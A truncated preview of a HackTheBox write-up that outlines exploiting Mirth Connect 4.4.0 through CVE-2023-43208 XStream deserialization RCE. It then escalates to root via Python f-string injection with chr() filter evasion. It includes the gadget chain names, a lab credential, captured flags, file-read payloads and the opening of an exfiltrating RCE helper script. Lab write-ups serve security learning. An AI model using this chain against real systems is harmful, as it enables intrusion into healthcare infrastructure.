$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: HackTheBox machine with Mirth Connect 4.4.0 healthcare integration engine. Solution: CVE-2023-43208 XStream deserialization for initial RCE as mirth user, then privilege escalation via Python f-string double eval injection in internal Flask service running as root, using chr() encoding to bypass regex filter.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Full machine on HackTheBox. Mirth Connect 4.4.0 (healthcare integration engine) with CVE-2023-43208 vulnerability for initial access, then privilege escalation via Python f-string injection in an internal Flask service running as root.
| # | Type | Flag | Method |
|---|---|---|---|
| 1 | User | b63665586c7eca1656d9f9b6b821e48a | f-string injection → open('/home/sedric/user.txt').read() |
| 2 | Root | 9acc749ecf629eb2fa239153b8e2cacd | f-string injection → open('/root/root.txt').read() |
nmap -sV -sC -T4 -p- --min-rate=1000 10.129.7.17
Open ports:
Internal services (discovered after initial access):
notif.py, runs as root)mirthdb:MirthPass123!)mirth-connectMirth Connect 4.4.0 has a critical vulnerability CVE-2023-43208 — unauthenticated RCE via XStream deserialization in /api/users POST endpoint.
/api/users accepts XML without authenticationChainedTransformer + InvokerTransformer + EventUtils$EventBindingInvocationHandlerRuntime.getRuntime().exec(command) as user mirth#!/usr/bin/env python3 """CVE-2023-43208 RCE helper - executes commands and exfiltrates output""" import requests import urllib3 import sys import time import threading import base64 as b64 from http.server import HTTPServer, BaseHTTPRequestHandler urllib3.disable_warnings() ...
$ grep --similar